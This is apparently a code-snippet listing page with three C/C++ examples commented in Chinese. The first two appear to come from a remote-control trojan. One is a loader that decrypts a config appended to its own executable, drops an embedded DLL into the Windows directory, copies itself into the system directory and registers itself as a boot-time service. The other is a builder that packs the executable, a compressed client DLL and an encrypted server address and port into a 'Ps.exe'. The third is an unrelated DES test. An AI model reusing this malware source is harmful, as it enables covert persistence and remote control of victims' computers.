Esempio n. 1
0
//这个函数关键,要注册ps.exe,让下次开机自动启动
//要分离出pcclient.dll
BOOL CPcStatApp::LoadInitInfo(char* pFileName)
{
	//取当前EXE文件名称 ps.exe是由pcstat.exe和pcclient.dll组成
	//这里要分离出pcclient.dll
	char m_ExeFileName[256] = {0};
	GetModuleFileName(NULL,m_ExeFileName,200);//返回该应用程序全路径
	
	//读文件数据
	INITDLLINFO m_TmpFileInfo = {0}, m_FileInfo = {0};
	FILE* fp = fopen(m_ExeFileName, "rb"); //打开本地或者远端的文件(rb)'b' 若操作系统的文字及二进位文件不同,'r' 开文件方式为只读,
	if(fp == NULL) return FALSE;
	if(fseek(fp , 0 - sizeof(INITDLLINFO) , SEEK_END)) //重定位流上的文件指针 SEEK_CUR: 当前位置 ,SEEK_END: 文件结尾, SEEK_SET: 文件开头
	{
		fclose(fp);
		return FALSE;
	}

	//读初始化数据
	fread(&m_TmpFileInfo , sizeof(INITDLLINFO) , 1, fp);
	fclose(fp);

	//拷贝数据
	char m_DesKey[9] = "\x10\x20\x17\x10\x09\x55\x11\xeb";
	Des_Go((char*) &m_FileInfo, (char*) &m_TmpFileInfo, 
		sizeof(INITDLLINFO), m_DesKey, 8, DECRYPT);//解密
	memcpy(&m_Info, &m_FileInfo, sizeof(INITDLLINFO));

	strcpy(m_Info.m_ParentFile, m_ExeFileName);
	strcpy(m_Info.m_EventName,AfxGetAppName());
   
	if(m_Info.m_IsUpdate == 0)
	{
		//启动文件
		GetWindowsDirectory(m_Info.m_StartFile,200); //获取Windows目录的完整路径名
		strcat(m_Info.m_StartFile, "\\"); //把src所指字符串添加到dest结尾处
		strcat(m_Info.m_StartFile , m_FileInfo.m_StartFile);
	
	
		//控制文件路径为c:\windows\pccortr.dll
		//pcclient.dll会下载pccortr.dll至c:\windows\pccortr.dll
		GetWindowsDirectory(m_Info.m_CtrlFile, 200);
		strcat(m_Info.m_CtrlFile, "\\");
		strcat(m_Info.m_CtrlFile, m_FileInfo.m_CtrlFile);
			
	}
	strcpy(pFileName, m_Info.m_StartFile);

	//取连接库文件(分离dll文件) pcclient.dll(启动文件)至pfileName(c:\windows\ps.dll)
	if(!GetInsertDllFile(m_ExeFileName, pFileName, m_Info.m_DllFileLen))
		return FALSE;
    
	//取文件名
	char* pFind = strrchr(m_Info.m_ParentFile,'\\');
      

	if(pFind == NULL) return FALSE;
   
	char m_DesFile[256] = {0};

	//系统目录
	char m_SystemPath[256] = {0};
	GetSystemDirectory(m_SystemPath,200);
	sprintf(m_DesFile, "%s%s", m_SystemPath, pFind);
	CopyFile(m_Info.m_ParentFile, m_DesFile, FALSE);
	//m_Info.m_ParentFile= m_ExeFileName,复制m_Info.m_ParentFile至m_DesFile
	//注册 m_DesFile,在服务中,下次开机m_DesFile自启动
	MyRegSetKey(m_Info.m_KeyName, m_DesFile, TRUE);
	return TRUE;
}
Esempio n. 2
0
void CMyCreateClientDlg::OnButtonCreate() 
{
	char m_IniFileName[256] = {0};
	GetIniFileName(m_IniFileName);
	WritePrivateProfileString("设置","控制DLL文件",
		m_CtrlFile,m_IniFileName);
	if(!m_BakUrl.IsEmpty())
		WritePrivateProfileString("设置","备份URL名称",
			m_BakUrl,m_IniFileName);

	//取目标文件名称
	CString szFilter = "可执行文件(*.exe)|*.exe|";
	CFileDialog m_filedialog(FALSE,NULL,"Ps.exe",
		OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,szFilter,this);
	if(m_filedialog.DoModal() != IDOK) return;
	m_StartFile = m_filedialog.GetFileName();
	CString strFilePath = m_filedialog.GetPathName();

	//取EXE文件和DLL文件名称
	char m_ExeFileName[512] = "PcStat.exe";
	GetMyFilePath(m_ExeFileName);
	char m_DllFileName[512] = "PcClient.dll";
	GetMyFilePath(m_DllFileName);
	BYTE* pExeFileData = NULL;
	BYTE* pDllFileData = NULL;
	DWORD m_ExeSize = 0;
	DWORD m_DllSize = 0;

	//取EXE文件数据
	CFile m_File;
	if(!m_File.Open(m_ExeFileName,CFile::modeRead))
	{
		MessageBox("缺少文件pcstat.exe","错误");
		return;
	}
	m_ExeSize = m_File.GetLength();
	pExeFileData = new BYTE[m_ExeSize];
	m_File.Read(pExeFileData,m_ExeSize);
	m_File.Close();

	//取DLL文件数据
	if(!m_File.Open(m_DllFileName,CFile::modeRead))
	{
		delete [] pExeFileData;
		MessageBox("缺少文件pcclient.dll","错误");
		return;
	}
	m_DllSize = m_File.GetLength();
	pDllFileData = new BYTE[m_DllSize];
	m_File.Read(pDllFileData,m_DllSize);
	m_File.Close();

	//压缩数据
	BYTE* pDest = new BYTE[m_DllSize * 2];
	memset(pDest , 0 , m_DllSize * 2);

	BYTE* pSrc = pDllFileData;
	BYTE* pCurr = pDest;

    //生成的文件的结构:
    //pcstat.exe文件内容 pcclient.dll内容 SSH 压缩前dll大小 生成的用户名 压缩后的的PcClient.dll内容 加密后的启动内容

	//写头
	::lstrcpyA ((char*)pDest, "SSH") ;
	pCurr += 8 ;
	* (WORD *) pCurr = 16 ;
	pCurr += 2 ;
	* (WORD *) pCurr = 0 ;
	pCurr += 2 ;
	* (DWORD *) pCurr = m_DllSize ;
	pCurr += 4 ;
	pCurr += 8 ;

	// 文件名
	* (WORD *) pCurr = ::lstrlen (m_StartFile) ;
	::lstrcpy ((char *) pCurr+2, m_StartFile) ;
	pCurr += * (WORD *) pCurr + 2 ;

	//压缩
	DWORD dwCounter = ::GetTickCount () ;
	FCLzw fLzw ;
	pCurr += fLzw.LZW_Encode (pSrc, m_DllSize, pCurr) ;
	dwCounter = ::GetTickCount () - dwCounter ;
	* (DWORD *) &pDest[16] = dwCounter ;

	//启动信息
	INITDLLINFO m_InitInfo = {0};

	m_IpList.GetWindowText(m_InitInfo.m_ServerAddr,50);
	strcpy(m_InitInfo.m_CtrlFile,m_CtrlFile);
	m_InitInfo.m_ProcessName[0] = m_Proc;

	strcpy(m_InitInfo.m_StartFile,m_StartFile);
	m_InitInfo.m_StartFile[m_StartFile.GetLength() - 4] = 0;
	strcpy(m_InitInfo.m_KeyName,m_InitInfo.m_StartFile);
	m_InitInfo.m_KeyName[m_StartFile.GetLength() - 1] = 0;
	strcat(m_InitInfo.m_StartFile, ".dll");
	m_InitInfo.m_ServerPort = (WORD) (atoi((LPCTSTR) m_Port));
	m_InitInfo.m_DllFileLen = pCurr - pDest;

	//DES加密信息
	INITDLLINFO m_InitFileInfo = {0};
	char m_DesKey[9] = "\x10\x20\x17\x10\x09\x55\x11\xeb";
	Des_Go((char*) &m_InitFileInfo, (char*) &m_InitInfo, 
		sizeof(INITDLLINFO), m_DesKey, 8, ENCRYPT_);//加密 

	//创建目标文件
	//m_StartFile.Insert(0, _T("e:\\"));
	if(!m_File.Open(strFilePath, CFile::modeCreate|CFile::modeWrite))
	{
		delete [] pExeFileData;
		delete [] pDllFileData;
		delete [] pDest;
		MessageBox("无法创建文件",m_StartFile.GetString());
		return;
	}
	m_File.Write(pExeFileData,m_ExeSize);
	m_File.Write(pDest,m_InitInfo.m_DllFileLen);
	m_File.Write(&m_InitFileInfo,sizeof(INITDLLINFO));
	m_File.Close();

	delete [] pExeFileData;
	delete [] pDllFileData;
	delete [] pDest;

	MessageBox("生成客户端成功", "提示");
}
Esempio n. 3
0
void main()
{
	char buf[255];
	char key[]={"3016745AB289EFCDBADCFE0325476981"};
	char str[]={"020019621200010100000308830000002061023240114210020019621200010100000308830000002061023240114210020019621200010100000308830000002061023240114210020019621200010100000308830000002061023240114210"};
	
	//重置buf 初始化为0
	memset(buf, 0, sizeof(buf));
	strcpy(buf, str);
	puts("\nBefore encrypting");
	puts(buf);
	
	
	//加密
	Des_Go(buf, buf, sizeof(str), key, sizeof(key), ENCRYPT);
	puts("\nAfter encrypting");
	puts(buf);

	
	
	


//解密
Des_Go(buf, buf, sizeof(str), key, sizeof(key), DECRYPT);
puts("\nAfter decrypting");
puts(buf);
getchar();



// 	/*
// 	int i =0;
//     char buf[256],out[256];
//     char key[]={"4A8A86D5FB613851450249CB4A195DDC"};
// 	char str[]={"293E54D39EEAD03880B53897646498CE"};
// 	char strDsp[17],mkey[17];
// 	memset(strDsp,0x00,sizeof(strDsp));
// 
//     DSPToHEX(str, strDsp,16);
// 	DSPToHEX(key, mkey,16);
// 
// 	puts(strDsp);
// 	puts("\n\n");
// /*
// 
// //	strcpy(buf,str);
// 	for (i=0;key[i];i++)
// 	{
// 		printf("%c",key[i]);
// 		printf("%c",key[++i]);
//         printf (" ");
// 	}
// 	puts("\n\n");
// 	for (i=0;str[i];i++)
// 	{
// 		printf("%c",str[i]);
// 		printf("%c",str[++i]);
//         printf (" ");
// 	}
// 		puts("\n\n");
// 	//重置buf 初始化为0
// 	memset(buf, 0x00, sizeof(buf));
// 	memset(out,0x00,sizeof(out));
// 
// 
// 
// 	//加密
// 	Des_Go(out, buf, strlen(str), key, strlen(key),ENCRYPT);
// 
// 	puts("\njia mi  after  \n");
// 
// 	for (i=0;out[i];i++)
// 	{
// 		printf("%c",out[i]);
// 		printf("%c",out[++i]);
//         printf (" ");
//     	
// 	}
// 
// 	memset(buf, 0x00, sizeof(buf));
// 	memset(out,0x00,sizeof(out));
// 	*/
//     //解密
// 	memset(buf,0x00,sizeof(buf));
// //	Des_Go(out, strDsp, strlen(strDsp), mkey, strlen(mkey), DECRYPT);
// 	Des_Go(out, strDsp, 16, mkey, 16, DECRYPT);
//     HEXToDSP(out,buf,16);
// 
//     puts("\n\njie mi  after  \n");
// 
// 	puts(buf);
// 	puts("\n\n");
// 	/*
// 	for (i=0;out[i];i++)
// 	{
// 		printf("%c",out[i]);
// 		printf("%c",out[++i]);
//         printf (" ");
// 		
// 	}
// 	*/
// 	puts("\n\n\n");

}